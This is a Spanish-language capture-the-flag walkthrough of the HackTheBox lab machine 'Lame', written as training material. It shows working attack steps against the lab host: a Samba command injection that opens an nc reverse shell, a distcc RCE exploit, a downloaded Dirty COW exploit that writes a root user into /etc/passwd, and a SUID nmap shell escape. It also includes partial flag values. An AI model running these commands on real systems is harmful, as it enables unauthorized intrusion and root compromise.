HTB Lame

¡Hola! En esta ocasión vamos a resolver de la maquina Lame de HackTheBox. La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!

PREPARACIÓN

Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre lame y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.

❯ mkhack lame
❯ cd !$/recon

RECONOCIMIENTO

Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl time to live de una traza ICMP.

  ❯ osping 10.10.10.3
  
  [*] Detectando sistema operativo ...
  
  [+] 10.10.10.3 ttl=63 >> Linux

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.3 -oG ports | grep open
  21/tcp   open  ftp
  22/tcp   open  ssh
  139/tcp  open  netbios-ssn
  445/tcp  open  microsoft-ds
  3632/tcp open  distccd

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.

  ❯ nmap -p21,22,139,445,3632 -sCV -Pn 10.10.10.3 -oN versions
  PORT     STATE SERVICE     VERSION
  21/tcp   open  ftp         vsftpd 2.3.4
  | ftp-syst: 
  |   STAT: 
  | FTP server status:
  |      Connected to 10.10.14.6
  |      Logged in as ftp
  |      TYPE: ASCII
  |      No session bandwidth limit
  |      Session timeout in seconds is 300
  |      Control connection is plain text
  |      Data connections will be plain text
  |      vsFTPd 2.3.4 - secure, fast, stable
  |_End of status
  |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
  22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
  | ssh-hostkey:
  |   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
  |_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
  139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
  3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
  Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
  
  Host script results:
  | smb-security-mode:
  |   account_used: guest
  |   authentication_level: user
  |   challenge_response: supported
  |_  message_signing: disabled (dangerous, but default)
  |_smb2-time: Protocol negotiation failed (SMB2)
  | smb-os-discovery:
  |   OS: Unix (Samba 3.0.20-Debian)
  |   Computer name: lame
  |   NetBIOS computer name:
  |   Domain name: hackthebox.gr
  |   FQDN: lame.hackthebox.gr
  |_  System time: 2022-07-11T23:33:07-04:00
  |_clock-skew: mean: 2h00m39s, deviation: 2h49m46s, median: 36s

RECONOCIMIENTO FTP

Iniciamos con el reconocimiento del puerto 21 donde podemos acceder con el usuario y contraseña “anonymous”, obteniendo disponibilidad de los servicios, sin embargo, no es posible acceder a la información de la máquina.

  ❯ ftp 10.10.10.3
  Connected to 10.10.10.3.
  220 (vsFTPd 2.3.4)
  Name (10.10.10.3:bast1ant1c): anonymous
  331 Please specify the password.
  Password:
  230 Login sucessful.
  Remote system type is UNIX.
  Using binary mode to transfer files.
  ftp> dir
  200 PORT command successful. Consider using PASV.
  150 Here comes the directory listing.
  226 Directory send OK.

Vamos a verificar si la versión de vsftpd es vulnerable por medio de la utilidad searchsploit.

 ❯ searchsploit vsftpd 2.3.4
  --------------------------------------------------------- ---------------------------------
   Exploit Title                                            |  Path
  --------------------------------------------------------- ---------------------------------
  vsftpd 2.3.4 - Backdoor Command Execution                 | unix/remote/49757.py
  vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)    | unix/remote/17491.rb
  --------------------------------------------------------- ---------------------------------

Luego de revisar el exploit unix/remote/49757.py, detectamos que agregando :) en el usuario al momento de acceder, en caso de ser exitoso generamos un acceso a la máquina.

  ❯ ftp 10.10.10.3
  Connected to 10.10.10.3.
  220 (vsFTPd 2.3.4)
  Name (10.10.10.3:bast1ant1c): hi:)
  331 Please specify the password.
  Password:
  whoami
  RABBIT HOLE

En esta ocasión nos encontramos con un Rabbit Hole un servicio que aparenta ser explotable pero no lo es, por lo que tenemos que seguir revisando los otros puertos y servicios encontrados.

ENUMERACION SMB

Continuamos con la enumeración del servicio samba, vamos a listar los recursos compartidos en caso de ser posible para tener un potencial acceso.

  ❯ smbclient -L //10.10.10.3/ -N --option='client min protocol=NT1'
  Anonymous login successful
  
          Sharename       Type      Comment
          ---------       ----      -------
          print$          Disk      Printer Drivers
          tmp             Disk      oh noes!
          opt             Disk
          IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
          ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
  Reconnecting with SMB1 for workgroup listing.
  Anonymous login successful
  
          Server               Comment
          ---------            -------
  
          Workgroup            Master
          ---------            -------
          WORKGROUP            LAME

Vamos a verificar si la versión de vsftpd es vulnerable por medio de la utilidad searchsploit.

  ❯ searchsploit samba 3.0.20
  --------------------------------------------------------------------------------------------------  ------- ---------------------------------
   Exploit Title                                                                                             |  Path
  --------------------------------------------------------------------------------------------------  ------- ---------------------------------
  Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                                                     | multiple/remote/10095.txt
  Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)                           | unix/remote/16320.rb
  Samba < 3.0.20 - Remote Heap Overflow                                                                      | linux/remote/7701.txt
  Samba < 3.0.20 - Remote Heap Overflow                                                                      | linux/remote/7701.txt
  Samba < 3.6.2 (x86) - Denial of Service (PoC)                                                              | linux_x86/dos/36741.py
  -------------------------------------------------------------------------------------------------  ------- -----------------------------

Luego de revisar el exploit unix/remote/16320.rb, detectamos una vía potencial que permite ejecución remota de comandos RCE remote command execution al momento de acceder, en caso de ser exitoso generamos un acceso a la máquina.

  ❯ smbclient //10.10.10.3/tmp -N --option='client min protocol=NT1' -c 'logon "/=`nohup nc -e /bin/bash 10.10.14.6 4564`"'
  nohup: se descarta la entrada y se redirige la salida de error a la salida estándar
  Anonymous login successful
  Password:
  session setup failed: NT_STATUS_IO_TIMEOUT

Generamos un listener por el puerto escogido y obtenemos acceso al sistema como usuario root

  ❯ nc -lvnp 4564
  listening on [any] 4564 ...
  connect to [10.10.14.6] from (UNKNOWN) [10.10.10.3] 46709
  whoami
  root

ENUMERACION DISTCCD

Vamos a realizar la búsqueda de posibles vulnerabilidades en el servicio distcc, investigando un poco, existe un script distcc-cve2004-2687 de nmap que identifica si la versión de distcc es o no vulnerable.

  ❯ locate .nse | grep dist
  /usr/share/nmap/scripts/distcc-cve2004-2687.nse
  
  ❯ nmap -p3632 -Pn 10.10.10.3 --script=distcc-cve2004-2687
  PORT     STATE SERVICE
  3632/tcp open  distccd
  | distcc-cve2004-2687:
  |   VULNERABLE:
  |   distcc Daemon Command Execution
  |     State: VULNERABLE (Exploitable)
  |     IDs:  CVE:CVE-2004-2687
  |     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
  |       Allows executing of arbitrary commands on systems running distccd 3.1 and
  |       earlier. The vulnerability is the consequence of weak service configuration.
  |                                                                                                               
  |     Disclosure date: 2002-02-01                                                                               
  |     Extra information:                                                                                        
  |                                                                                                               
  |     uid=1(daemon) gid=1(daemon) groups=1(daemon)                                                              
  |                                                                                                               
  |     References:                                                                                               
  |       https://nvd.nist.gov/vuln/detail/CVE-2004-2687                                                          
  |       https://distcc.github.io/security.html                                                                  
  |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687                                            

Detectamos que el servicio es vulnerable al CVE-2004-2687, así que vamos a hacer uso del exploit CVE-2004-2687 del repositorio de github de k4miyo.

cd ../exploit
❯ git clone https://github.com/k4miyo/CVE-2004-2687
  Clonando en 'CVE-2004-2687'...
  remote: Enumerating objects: 9, done.
  remote: Counting objects: 100% (9/9), done.
  remote: Compressing objects: 100% (7/7), done.
  remote: Total 9 (delta 0), reused 0 (delta 0), pack-reused 0
  Recibiendo objetos: 100% (9/9), listo.
❯ cd CVE-2004-2687/
[+] Payload: Payload generated!
[+] Execution: DistCC Daemon exploited with success!
[+] Opening connection to 10.10.10.3 on port 3632: Done
[q] Trying to bind to :: on port 4564: Trying ::
Traceback (most recent call last):
  File "/home/bast1ant1c/Desktop/bast1ant1c/HTB/lame/exploit/CVE-2004-2687/CVE-2004-2687.py", line 120, in <modu  le>
    shell = listen(lport, timeout=20).wait_for_connection()
  File "/home/bast1ant1c/.local/lib/python3.9/site-packages/pwnlib/tubes/listen.py", line 105, in __init__
    listen_sock.bind(self.sockaddr)
OSError: [Errno 98] Address already in use
[*] Closed connection to 10.10.10.3 port 3632

Generamos un listener por el puerto escogido y obtenemos acceso al sistema como usuario deamon

  ❯ nc -lvnp 4564
  listening on [any] 4564 ...
  connect to [10.10.14.6] from (UNKNOWN) [10.10.10.3] 54873
  whoami
  daemon

ESCALADA DE PRIVILEGIOS KERNEL

Una vez tenemos acceso a la maquina vamos a realizar el escalamiento de permisos para poder obtener acceso privilegiado y control absoluto, en esta ocasión vamos a verificar la versión de kernel de la maquina víctima.

  script /dev/null -c bash
  daemon@lame:/tmp$ uname -a
  Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Realizamos la búsqueda de posibles exploits que logren dar acceso privilegiado a la máquina.

  ❯ searchsploit linux kernel 2.6.24
  --------------------------------------------------- ---------------------------------
   Exploit Title                                     |  Path
  --------------------------------------------------- ---------------------------------
  Linux Kernel (Solaris 10 / < 5.10 138888-01) - Loc | solaris/local/15962.c
  Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - | linux/local/9844.py
  Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - | linux/local/19933.rb
  Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privi | linux/local/33321.c
  Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Pr | linux/local/40812.c
  Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local  | linux/local/5092.c
  Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privi | linux/local/50135.c
  Linux Kernel 2.6.20/2.6.24/2.6.27_7-10 (Ubuntu 7.0 | linux/remote/8556.c
  Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW / | linux/local/40616.c
  Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/ | linux/local/40847.cpp
  Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKE | linux/local/40838.c
  Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_PO | linux/local/40839.c
  Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self | linux/local/40611.c

Hacemos la descarga del script linux/local/40839.c.

  ❯ searchsploit -m linux/local/40839.c
  ❯ mv 40839.c dirty.c

Por medio de un servidor http generado en python desde nuestra máquina, vamos a compartir el exploit descargado.

sudo python3 -m http.server 80

Desde la maquina víctima, por medio de la utilidad wget descargamos el exploit compartido anteriormente.

daemon@lame:/tmp$ wget http://10.10.14.6/dirty.c
  --00:53:49--  http://10.10.14.6/dirty.c
             => `dirty.c'
  Connecting to 10.10.14.6:80... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: 4,817 (4.7K) [text/x-csrc]
  
   0% [                                     ] 0             --.--100%[====================  ================>] 4,817         --.--K/s             
  
  00:53:50 (908.03 KB/s) - `dirty.c' saved [4817/4817]

Luego de descargado, se procede a compilar el exploit.

  daemon@lame:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt

Finalmente, ejecutamos el exploit seguido de una contraseña aleatoria, en este caso la mía ha sido hacked.

  daemon@lame:/tmp$ ./dirty hacked 
  /etc/passwd successfully backed up to /tmp/passwd.bak
  Please enter the new password: hacked
  Complete line:
  bast1ant1c:fiOEyJZz3b5lA:0:0:pwned:/root:/bin/bash
  
  mmap: b7ef5000
  ptrace 0
  Done! Check /etc/passwd to see if the new user was created.
  You can log in with the username 'bast1ant1c' and the password 'hacked'.
  
  
  DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
  daemon@lame:/tmp$ madvise 0
  
  Done! Check /etc/passwd to see if the new user was created.
  You can log in with the username 'bast1ant1c' and the password 'hacked'.
  
  
  DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

NOTA: El script fue modificado para traer como username bast1ant1c, el usuario por defecto es firefart.

Ahora que tenemos usuario y contraseña, vamos a conectarnos por ssh a la maquina víctima.

El exploit ha creado un usuario con permisos de administración, por lo que la conexión realizada nos da acceso a un usuario con todos los privilegios.

  ❯ ssh bast1ant1c@10.10.10.3                                                             
  bast1ant1c@10.10.10.3's password:                                                       
  Last login: Mon Jul 11 23:25:01 2022 from :0.0                                          
  Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686                    
                                                                                          
  The programs included with the Ubuntu system are free software;                         
  the exact distribution terms for each program are described in the                      
  individual files in /usr/share/doc/*/copyright.                                         
                                                                                          
  Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by                    
  applicable law.                                                                         
                                                                                          
  To access official Ubuntu documentation, please visit:                                  
  http://help.ubuntu.com/                                                                 
  bast1ant1c@lame:~# whoami                                                               
  bast1ant1c

NOTA: Sigue la recomendación del exploit “DON’T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd” para restablecer los usuarios de la máquina.

ESCALADA DE PRIVILEGIOS POR PERMISOS

Ahora vamos a realizar el escalamiento de privilegios revisando los permisos en la máquina.

daemon@lame:/tmp$ find / -perm /4000 2>/dev/null                                        
  /bin/umount
  /bin/fusermount
  /bin/su
  /bin/mount
  /bin/ping
  /bin/ping6
  /sbin/mount.nfs
  /lib/dhcp3-client/call-dhclient-script
  /usr/bin/sudoedit
  /usr/bin/X
  /usr/bin/netkit-rsh
  /usr/bin/gpasswd
  /usr/bin/traceroute6.iputils
  /usr/bin/sudo
  /usr/bin/netkit-rlogin
  /usr/bin/arping
  /usr/bin/at
  /usr/bin/newgrp
  /usr/bin/chfn
  /usr/bin/nmap
  /usr/bin/chsh
  /usr/bin/netkit-rcp
  /usr/bin/passwd
  /usr/bin/mtr
  /usr/sbin/uuidd
  /usr/sbin/pppd
  /usr/lib/telnetlogin
  /usr/lib/apache2/suexec
  /usr/lib/eject/dmcrypt-get-device
  /usr/lib/openssh/ssh-keysign
  /usr/lib/pt_chown
  /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
  /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper

Podemos ver que tenemos permiso de ejecución en /usr/bin/nmap, así que buscamos en GTFObins como obtener una shell por este medio.

  daemon@lame:/tmp$ nmap --interactive
  nmap --interactive
  
  Starting Nmap V. 4.53 ( http://insecure.org )
  Welcome to Interactive Mode -- press h <enter> for help
  nmap> !sh
  !sh
  sh-3.2# whoami
  whoami
  root

¡Logramos tener acceso como root! No queda nada más, vamos a acceder a las carpetas que contienen las flags y eso es todo.

  sh-3.2# find / -name user.txt | xargs cat | head -c 10; echo
  bf63bb140c
  
  find / -name root.txt | xargs cat | head -c 10; echo
  9179df2fa8

¡Hemos logrado completar la máquina Lame de HackTheBox!

¡Que tengan un buen día en el planeta donde se encuentren!

Nos vemos en otro bit.